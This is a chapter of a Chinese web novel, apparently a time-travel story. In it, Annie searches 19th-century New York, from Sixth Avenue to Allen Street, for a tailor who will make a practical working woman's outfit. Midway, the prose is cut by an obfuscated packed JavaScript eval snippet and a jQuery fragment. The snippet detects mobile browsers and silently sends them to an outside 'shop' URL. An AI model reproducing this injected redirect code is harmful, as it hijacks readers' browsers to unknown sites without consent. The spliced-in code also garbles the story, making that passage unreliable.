安妮走出梅西百货门口，第六大道上的车马声将她拉回现实。
她口袋里装着一封伊迪丝小姐签名的介绍信。信上推荐的那家定制裁缝店就在不远处，一扇擦得透亮的玻璃门上挂着「私人定制」的黄铜招牌，门边的展示架上陈列着光泽靓丽的礼服，衣角用木夹固定得一丝不苟。
紧邻梅西百货的这一带区域，已零星出现高端裁缝店与女帽工坊，它们依托百货公司带来的人流，专为中产与富裕阶层服务，明显有了产业集中的趋势。衣着体面的顾客在此驻足，与匆匆前往百货公司的人流交织。
安妮站在其间，成为人流的一部分。
她走近了些，透过玻璃能看到里面悬挂的几件成衣，人形模特展示着采用英国精纺羊毛的修身外套，剪裁精致，腰线收得极妥帖。一位穿着马甲、戴单边眼镜的老师傅正为一位夫人量尺寸，手边放着一本厚厚的面料册。安妮的目光扫过一件外套上吊着的标签，上面用花体字写着价格：四十五美元。
她默默退后两步，转身离开了。伊迪丝小姐给的制衣补助足够她在那里做一套体面的衣裙，但花掉近2个月薪水的价钱，让她无法伸手推开那扇门。
「还是去艾伦街看看吧。」她对自己说。
第六大道上的马拉轨道车叮叮当当地驶来。安妮学着前面一位女士的样子，将一枚五美分硬币投入车门口的铁盒里。
车厢是长长的木质结构，两侧是面对面的长条座椅。比起想象中的公共马车，这里平稳宽敞许多。
她在一位带着小女孩的妇人身边坐下，小姑娘好奇地看了她一眼，腼腆地笑了笑。安妮也回以微笑。
车厢里坐了约莫二十人，大家保持礼貌的间距。斜对面是位提着皮质样品箱的男士，像是整日奔波的推销员。稍远处坐着两个衣着朴素的女士，膝上放着布包，身上看不出过于劳作的痕迹。一位穿着深色外套、神情严肃的先生正专注地看着当天的报纸，丝毫不受外界影响。这些面孔大多平静，看起来早已习惯这规律的摇晃与马蹄声。
只有安妮看什么都新鲜。蓦地想起，自己第一次上北京读大学，搭乘地铁的样子。光是线路图就得琢磨半天。若真与她记忆中人潮拥挤的地铁相比，这慢悠悠的叮当前行，倒更像是一场悠闲的街景观光。
电车沿着第六大道缓缓向南，窗外是切尔西区规整有序的景象。。两侧的街道明显宽敞，一栋栋赭石色的联排别墅连绵不绝，门前有着精致的铸铁栏杆和小片绿地。偶尔能看到砖石结构的公寓楼内，走出衣着整洁的男女。再往西，就是哈德逊河，可惜太远望不见
在身旁妇人的友善指点下，安妮在十八街下了车。她双脚刚落在人行道的石板上，一阵带着奶香的气息便扑面而来。
街角一家蛋糕店的门前热闹非凡。
一个年轻的帮工正站在门口大声吆喝：“新店酬宾！买二送一！尝尝我们的800层酥皮，入口即化！”
橱窗正中精心陈列着一款名为“Mille-feuille”的酥皮糕点。旁边的宣传板上用醒目的字体写着：“正宗法国配方，每日仅售100份！”
此刻，店里的客人络绎不绝，其中不少是衣着体面的女士，他们掏出钱包的样子都很爽利，显然谁也不愿错过这流行的新鲜滋味。
Mille-feuille，后世的人们更习惯叫它拿破仑蛋糕。安妮，也被馋虫勾动，实在忍不住想尝一尝原始版本有什么不一样。
犹豫片刻，她放弃了挣扎，扎进了蛋糕店。
/
安妮一边吃着蛋糕，一边向东南方向步行，周围的景象逐渐变化。街道变窄，人流增多，空气里开始混杂着各种怪味和嘈杂的声音。
等她踏上此行目的地时，仿佛瞬间进入了另一个世界。
艾伦街，一条南北向街道，贯穿曼哈顿下东区的核心区域。街上，随处可见驮运布料的马车，装卸货物的工人，耳畔充斥着缝纫机的嗡鸣和人们的议价声。几乎每个临街的底层都是裁缝铺，门口挂着“定制西装”、“女装修改”的牌子。二楼敞开的窗户里，能瞥见埋头踩缝纫机的身影和堆积如山的布料。浅褐色的羊毛料、米白的棉麻布直接从窗台垂下来，摊晒在外面。
两个东欧犹太移民，就有一个是裁缝。这话不假！裁缝铺既是东欧犹太移民的生计所在，也是他们的家。一楼接客选料，二楼工坊赶工，阁楼就挤下一家十几口人睡觉。
突然，两个半大孩子从安妮面前飞奔而过。跑在前面的男孩攥着一把剪刀，回头朝身后的同伴喊：“快点！萨缪尔！再晚一步，戈德堡先生的裁缝铺就收满学徒啦！”
安妮被吓了一跳，避在角落。
后面的孩子裤脚卷到膝盖，喘着气应：“等等我！我娘说今天要是能当上学徒，晚上给我煮肉汤！”
两人跑过一家裁缝铺时，门口拉伸布料的女人头也没抬，只扬声喊了句意第绪语，大概是说「别撞着门口的布筐！」
话音刚落，就被更密的缝纫机嗡鸣盖了过去。
安妮等两个孩子跑远了，走进一家看起来还算整洁的店铺。一位脖子上挂着软尺、指头上铜顶针磨得铮亮的老裁缝从一堆布料里抬起头。
「日安，女士。要做衣服？」他说话带着浓重的口音。
「我想做一套适合日常工作的裙装，」安妮比划着，「上身是衬衫式样，领口能系扣子，下身是到膝盖的直筒裙，方便弯腰和活动，但看起来也得体。」
老裁缝皱着眉听完，摇了摇头。「我们这里做背带裤、男士西装，还有普通的连衣裙。」他指了指墙上挂着的几件样品，都是宽松朴素的款式。「女士，你猜这件西装多少钱？」
并不需要安妮回答，他自己就说下去了，「一套西装 15 到 20 美元顶天了。来我这儿的，多是附近码头的搬运工、流动摊贩的小商贩，不讲究
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574723|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样式和版型，要的都是‘能穿三年’的活计。早上穿出去晚上回来，扔水里搓两把第二天还能穿。你要是图省事，图快，那来我这儿就是来对了。但您说的这种……不是不能做。只是，啧……」
「您要的衬衫领、直筒裙，得打版吧？得用细针密线吧？我做一套男士西装，半天打版，三天缝制，15 美元到手。给您做这套，光琢磨那个版型就得两天，用的料子还得是不起球的细布，最后收您多少钱合适？收少了我亏，收多了您不如去梅西百货……布料要不要看看？这卷深灰羊毛呢，洗十次都不变形。」
安妮没接话，道谢后转去下一家。
第二家店更小，门楣上没挂招牌，只在玻璃上写着 “承接修改、定制”。一楼的裁床占了半间屋，上面摊着没裁完的粗布；二楼传来几个学徒断续的咳嗽声。
这家小铺由一对年轻夫妇经营。年轻妻子正坐在裁床边剪棉布，指尖沾着画线的白灰。见安妮进来，她连忙放下剪刀，询问客人的需求。
听完安妮对衣服样式的要求后，她面露难色。
「小姐，」她小声说，「小姐……我们接的活都是2天到一周就能交的，给洗衣妇改围裙、给小商贩做罩衫，用的都是一块多美元一码的粗布。您要的这种衬衫式上身，得用更软的细麻布，一尺至少贵两毛钱，万一裁错了，这料子钱我们得做好几单改衣服的活才能补回来。您等会儿，我问问……马丁！」
她放大声音，朝二楼又喊了一声，「马丁！」
年轻的丈夫从二楼下来，从妻子那里了解了安妮的需求后，也是摇头。
「我们只接常规的款式。您说的那种衣服，既不像干活穿的，也不像有钱人穿的，那谁会穿呢？我们这儿的顾客，要么使劲干活，要么在家待着，没有‘既要干活又要体面’的呀。」
怕安妮不信，他还搜出几张单据，「这里面都是客户的单子，您看，都是‘给史密斯太太改裙长’‘给布朗先生做罩衫’，没一件是新鲜式样。上次给一位太太改连衣裙，不过是加个侧边口袋，反反复复改了三回她才说满意，耽误了我们不少功夫。您要是不介意多花钱，不如去第六大道梅西百货附近的定制铺看看，跟我们这不是一个路数。」
这不是巧了吗。安妮刚从那边来，已经被两次推回去了。
安妮道谢后，退出小铺。
看着热闹非凡的艾伦街，她好像明白了问题的核心。在艾伦街，服装的意义在于“蔽体”和“耐用”，顶多加上一点“整洁”。而她想要的，是一种介于体力劳动的女仆制服与有钱小姐的休闲裙装之间的东西——一种属于职业女性的、兼顾实用与体面的服装。
这个概念，在这里尚未诞生。
或者说，「职业女性」作为一个群体，尚未诞生。
她要的衣服。既不在第六大道，也不在艾伦街。手里捏着伊迪丝小姐给的裁缝铺介绍信，她一时不知该往哪里去。